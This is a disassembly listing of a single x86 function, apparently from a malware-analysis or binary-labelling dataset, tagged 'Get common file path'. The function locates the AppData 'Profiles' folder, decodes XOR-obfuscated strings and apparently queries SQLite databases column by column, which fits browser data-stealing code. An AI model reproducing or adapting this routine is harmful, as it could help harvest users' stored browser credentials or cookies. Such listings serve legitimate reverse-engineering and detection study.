Function at 0x420290
Capabilities:
Get common file path

Disassembly:
mov eax, 0x46744a
call fcn.00465ac0
sub esp, 0x434
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x33c]
push eax
xor ebx, ebx
mov dword [ebp - 0xb4], edx
push ebx
push ebx
push 0x1a
mov edi, ebx
mov esi, ecx
push ebx
mov dword [ebp - 0x64], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov edx, esi
mov ecx, 0x479a70
call fcn.00433ad6
mov edx, str.Profiles
mov ecx, eax
call fcn.00433ad6
lea ecx, [ebp - 0x33c]
push ecx
push eax
lea eax, [ebp - 0x440]
push 0x104
push eax
call fcn.00419e70
mov byte [ebp - 0x68], bl
lea edx, [ebp - 0x440]
push dword [ebp - 0x68]
lea ecx, [ebp - 0x88]
call fcn.00414da0
add esp, 0x14
lea eax, [ebp - 0x88]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0xcc]
call fcn.0040be00
lea ecx, [ebp - 0x88]
call fcn.0041314d
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040d0c9
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], esi
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x120]
call fcn.0040d0c9
mov ecx, dword [ebp - 0x11c]
xorps xmm0, xmm0
movlpd qword [ebp - 0xa4], xmm0
mov edx, ebx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa0], ebx
test ecx, ecx
je 0x420392
call fcn.0040a717
mov edx, ebx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x20]
cmp eax, edx
je 0x420b23
lea esi, [eax + 0x20]
mov byte [ebp - 4], 5
mov ecx, esi
call fcn.0040c468
test al, al
je 0x420af4
movaps xmm0, xmmword [0x47bdc0]
mov edx, ebx
movups xmmword [ebp - 0x59], xmm0
mov byte [ebp - 0x49], bl
mov al, byte [ebp + edx - 0x58]
xor al, byte [ebp - 0x59]
mov byte [ebp + edx - 0x58], al
inc edx
cmp edx, 0xf
jb 0x4203c7
push ecx
lea eax, [ebp - 0x88]
mov byte [ebp - 0x49], bl
push eax
mov ecx, esi
call fcn.004139f1
or edi, 4
mov dword [ebp - 0x64], edi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
lea edx, [ebp - 0x58]
cmovae ecx, dword [ebp - 0x88]
call fcn.00433ad6
push 0xf
pop edi
mov dword [ebp - 0x118], ebx
lea ecx, [ebp - 0x118]
push eax
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x104], edi
mov byte [ebp - 0x118], bl
call fcn.0041338c
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 8
call fcn.0041332b
push 9
pop edx
lea ecx, [ebp - 0x100]
call fcn.00433f04
mov byte [ebp - 4], 9
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 0x10
cmovae esi, dword [ebp - 0x100]
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
mov dword [ebp - 0xe8], ebx
lea ecx, [ebp - 0xe8]
push eax
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], edi
mov byte [ebp - 0xe8], bl
call fcn.0041338c
mov byte [ebp - 0xa8], bl
lea edx, [ebp - 0x118]
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xa
call fcn.00414d34
pop ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xb
call fcn.0040c40c
lea ecx, [ebp - 0x88]
mov byte [ebp - 0x15], al
mov byte [ebp - 4], 0xa
call fcn.0041314d
cmp byte [ebp - 0x15], 0
je 0x420ab2
mov byte [ebp - 0xac], bl
lea edx, [ebp - 0xe8]
push dword [ebp - 0xac]
lea ecx, [ebp - 0x60]
call fcn.00414d34
pop ecx
mov byte [ebp - 0xb0], bl
lea edx, [ebp - 0x118]
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xc
call fcn.00414d34
pop ecx
lea edx, [ebp - 0x60]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x88]
call fcn.0040c370
lea ecx, [ebp - 0x88]
call fcn.0041314d
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0xa
call fcn.0041314d
cmp dword [ebp - 0xec], 0x10
lea edx, [ebp - 0x94]
mov ecx, dword [0x48a89c]
lea eax, [ebp - 0x100]
cmovae eax, dword [ebp - 0x100]
push edx
push eax
call ecx
pop ecx
pop ecx
test eax, eax
jne 0x420ab2
movaps xmm0, xmmword [0x47c200]
mov ecx, ebx
movups xmmword [ebp - 0x164], xmm0
mov dword [ebp - 0x124], 0x697f73
movaps xmm0, xmmword [0x47bfe0]
movups xmmword [ebp - 0x154], xmm0
movaps xmm0, xmmword [0x47c130]
movups xmmword [ebp - 0x144], xmm0
movaps xmm0, xmmword [0x47c110]
movups xmmword [ebp - 0x134], xmm0
mov al, byte [ebp + ecx - 0x163]
xor al, byte [ebp - 0x164]
mov byte [ebp + ecx - 0x163], al
inc ecx
cmp ecx, 0x42
jb 0x4205c0
mov eax, dword [0x48a8ac]
lea ecx, [ebp - 0x14]
push ebx
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x163]
mov byte [ebp - 0x121], bl
push ecx
push dword [ebp - 0x94]
call eax
add esp, 0x14
mov esi, eax
push ecx
lea ecx, [ebp - 0x238]
call fcn.004120a4
mov byte [ebp - 4], 0xe
test esi, esi
jne 0x420a85
push dword [ebp - 0x14]
mov eax, dword [0x48a8a0]
call eax
pop ecx
cmp eax, 0x64
jne 0x420909
mov eax, dword [0x48a8c0]
push ebx
push dword [ebp - 0x14]
call eax
pop ecx
pop ecx
push 1
push dword [ebp - 0x14]
mov dword [ebp - 0x90], eax
mov eax, dword [0x48a8c0]
call eax
pop ecx
pop ecx
push 2
push dword [ebp - 0x14]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x48a8c0]
call eax
pop ecx
pop ecx
mov ecx, dword [0x48a8c0]
push 3
push dword [ebp - 0x14]
mov dword [ebp - 0xbc], eax
call ecx
pop ecx
pop ecx
push 4
push dword [ebp - 0x14]
mov dword [ebp - 0xb8], eax
mov eax, dword [0x48a8c0]
call eax
pop ecx
pop ecx
push 5
push dword [ebp - 0x14]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x48a8c0]
call eax
pop ecx
pop ecx
mov ecx, dword [0x48a8f0]
mov edi, ebx
push 0xc
mov dword [ebp - 0x70], eax
pop esi
mov eax, dword [0x48a8f4]
sub eax, ecx
cdq
idiv esi
cmp edi, eax
jae 0x420768
mov eax, dword [0x48a8e4]
cmp dword [eax + edi*4], ebx
jne 0x420762
mov esi, ebx
mov dword [ebp - 0x8c], ebx
imul edx, edi, 0xc
mov dword [ebp - 0xc0], 0x18
mov dword [ebp - 0xd0], edx
mov eax, dword [edx + ecx + 4]
sub eax, dword [edx + ecx]
cdq
idiv dword [ebp - 0xc0]
cmp esi, eax
jae 0x42075f
push dword [ebp - 0x90]
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
call fcn.0041338c
mov eax, dword [0x48a8f0]
mov edx, dword [ebp - 0xd0]
imul ecx, esi, 0x18
push ebx
add ecx, dword [edx + eax]
push ecx
lea ecx, [ebp - 0x60]
call fcn.0041281a
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
je 0x420747
mov eax, dword [0x48a8e4]
mov dword [eax + edi*4], 1
mov esi, dword [ebp - 0x8c]
mov ecx, dword [0x48a8f0]
inc esi
mov dword [ebp - 0x8c], esi
jmp 0x4206d1
push 0xc
pop esi
inc edi
jmp 0x4206a9
mov edx, dword [ebp - 0x90]
mov ecx, 0x47748b
call fcn.00433ad6
mov ecx, eax
mov byte [ebp - 0x33], bl
mov dl, 0x50
mov al, 0x59
xor al, dl
mov byte [ebp - 0x35], dl
lea edx, [ebp - 0x34]
mov byte [ebp - 0x34], al
call fcn.00433ad6
mov esi, eax
mov dword [ebp - 0x26], 0x5a5d5b0f
mov dl, 0xf
mov word [ebp - 0x22], 0x4a
mov ecx, ebx
xor byte [ebp + ecx - 0x25], dl
inc ecx
cmp ecx, 4
jae 0x4207b3
mov dl, byte [ebp - 0x26]
jmp 0x4207a4
lea edx, [ebp - 0x25]
mov byte [ebp - 0x21], bl
mov ecx, esi
call fcn.00433ad6
mov ecx, eax
mov byte [ebp - 0x36], bl
mov dl, 0x6e
mov al, 0x67
xor al, dl
mov byte [ebp - 0x38], dl
lea edx, [ebp - 0x37]
mov byte [ebp - 0x37], al
call fcn.00433ad6
mov edx, dword [ebp - 0xc4]
mov ecx, eax
call fcn.00433ad6
mov ecx, eax
mov byte [ebp - 0x3b], 0x30
mov al, 0x39
mov byte [ebp - 0x39], bl
xor al, 0x30
lea edx, [ebp - 0x3a]
mov byte [ebp - 0x3a], al
call fcn.00433ad6
push 0x4775b8
push dword [ebp - 0xbc]
mov esi, eax
call fcn.00443590
pop ecx
pop ecx
mov ecx, ebx
test eax, eax
jne 0x42083e
mov dl, 0xa
mov dword [ebp - 0x32], 0x5f585e0a
mov word [ebp - 0x2e], 0x4f
xor byte [ebp + ecx - 0x31], dl
inc ecx
cmp ecx, 4
jae 0x420836
mov dl, byte [ebp - 0x32]
jmp 0x420827
mov byte [ebp - 0x2d], bl
lea edx, [ebp - 0x31]
jmp 0x420865
mov dl, 0x76
mov dword [ebp - 0x1f], 0x3a373076
mov word [ebp - 0x1b], 0x3325
mov byte [ebp - 0x19], bl
xor byte [ebp + ecx - 0x1e], dl
inc ecx
cmp ecx, 5
jae 0x42085f
mov dl, byte [ebp - 0x1f]
jmp 0x420850
mov byte [ebp - 0x19], bl
lea edx, [ebp - 0x1e]
mov ecx, esi
call fcn.00433ad6
mov ecx, eax
mov byte [ebp - 0x3c], bl
mov dl, 0x16
mov al, 0x1f
xor al, dl
mov byte [ebp - 0x3e], dl
lea edx, [ebp - 0x3d]
mov byte [ebp - 0x3d], al
call fcn.00433ad6
mov edx, dword [ebp - 0xb8]
mov ecx, eax
call fcn.00433ad6
mov ecx, eax
mov byte [ebp - 0x41], 0x4f
mov al, 0x46
mov byte [ebp - 0x3f], bl
xor al, 0x4f
lea edx, [ebp - 0x40]
mov byte [ebp - 0x40], al
call fcn.00433ad6
mov edx, dword [ebp - 0x6c]
mov ecx, eax
call fcn.00433ad6
mov ecx, eax
mov byte [ebp - 0x42], bl
mov dl, 0x7b
mov al, 0x72
xor al, dl
mov byte [ebp - 0x44], dl
lea edx, [ebp - 0x43]
mov byte [ebp - 0x43], al
call fcn.00433ad6
mov edx, dword [ebp - 0x70]
mov ecx, eax
call fcn.00433ad6
cmp dword [0x486774], 0x10
mov edx, 0x486760
mov ecx, eax
cmovae edx, dword [0x486760]
call fcn.00433ad6
mov edx, eax
lea ecx, [ebp - 0x228]
call fcn.00413f35
inc dword [0x48a8d4]
jmp 0x420618
push dword [ebp - 0xb4]
mov dword [ebp - 0x60], ebx
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], bl
call fcn.0041338c
mov byte [ebp - 4], 0xf
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
mov ecx, 0x47748b
cmovae edx, dword [ebp - 0x60]
call fcn.00433ad6
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0xe
mov esi, eax
call fcn.0041332b
mov al, 0x45
mov byte [ebp - 0x47], 0x1a
xor al, 0x1a
mov byte [ebp - 0x45], bl
lea edx, [ebp - 0x46]
mov byte [ebp - 0x46], al
mov ecx, esi
call fcn.00433ad6
mov ecx, dword [ebp - 0x68]
mov esi, eax
lea eax, [ebp - 0x188]
add ecx, 0x20
push eax
call fcn.0040b362
push ecx
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x10
push ecx
mov ecx, eax
call fcn.004139f1
mov edi, dword [ebp - 0x64]
or edi, 0x800
mov dword [ebp - 0x64], edi
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
mov ecx, esi
cmovae edx, dword [ebp - 0x60]
call fcn.00433ad6
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0041332b
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 0xe
call fcn.0041314d
mov dl, 0x57
mov dword [ebp - 0x2c], 0x2f237957
mov word [ebp - 0x28], 0x23
mov ecx, ebx
xor byte [ebp + ecx - 0x2b], dl
inc ecx
cmp ecx, 4
jae 0x4209e5
mov dl, byte [ebp - 0x2c]
jmp 0x4209d6
lea edx, [ebp - 0x2b]
mov byte [ebp - 0x27], bl
mov ecx, esi
call fcn.00433ad6
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x220]
lea eax, [ebp - 0x88]
push eax
call fcn.00412f52
or edi, 0x4000
mov dword [ebp - 0x64], edi
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x6c], eax
test eax, eax
je 0x420a76
cmp dword [ebp - 0x74], 0x10
lea edi, [ebp - 0x88]
movaps xmm0, xmmword [0x47c0f0]
mov esi, ebx
cmovae edi, dword [ebp - 0x88]
movups xmmword [ebp - 0x5b], xmm0
mov word [ebp - 0x4b], 0x4966
mov byte [ebp - 0x49], bl
mov cl, byte [ebp - 0x5b]
xor byte [ebp + esi - 0x5a], cl
inc esi
cmp esi, 0x11
jb 0x420a45
mov edx, dword [ebp - 0x70]
lea ecx, [ebp - 0x5a]
mov byte [ebp - 0x49], bl
call fcn.00433ad6
mov ecx, dword [0x48a8e0]
mov edx, eax
push 3
push dword [ebp - 0x6c]
push edi
call fcn.0043cd4e
add esp, 0xc
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xe
call fcn.0041332b
push dword [ebp - 0x14]
call dword [0x48a8cc]
pop ecx
push dword [ebp - 0x94]
call dword [0x48a8bc]
pop ecx
lea ecx, [ebp - 0xe8]
call fcn.0040c941
lea ecx, [ebp - 0x238]
call fcn.0040dbad
lea ecx, [ebp - 0xe8]
call fcn.0041332b
lea ecx, [ebp - 0x100]
call fcn.0041332b
lea ecx, [ebp - 0x118]
call fcn.0041332b
jmp 0x420af4
lea ecx, [ebp - 0x9c]
mov dword [ebp - 4], 4
call fcn.0040be48
mov eax, dword [ebp - 0x9c]
mov esi, dword [ebp - 0x98]
mov edi, dword [ebp - 0x64]
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x68], eax
jmp 0x420399
test esi, esi
je 0x420b2e
mov ecx, esi
call fcn.0040a717
mov ecx, dword [ebp - 0xc8]
test ecx, ecx
je 0x420b3d
call fcn.0040a717
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret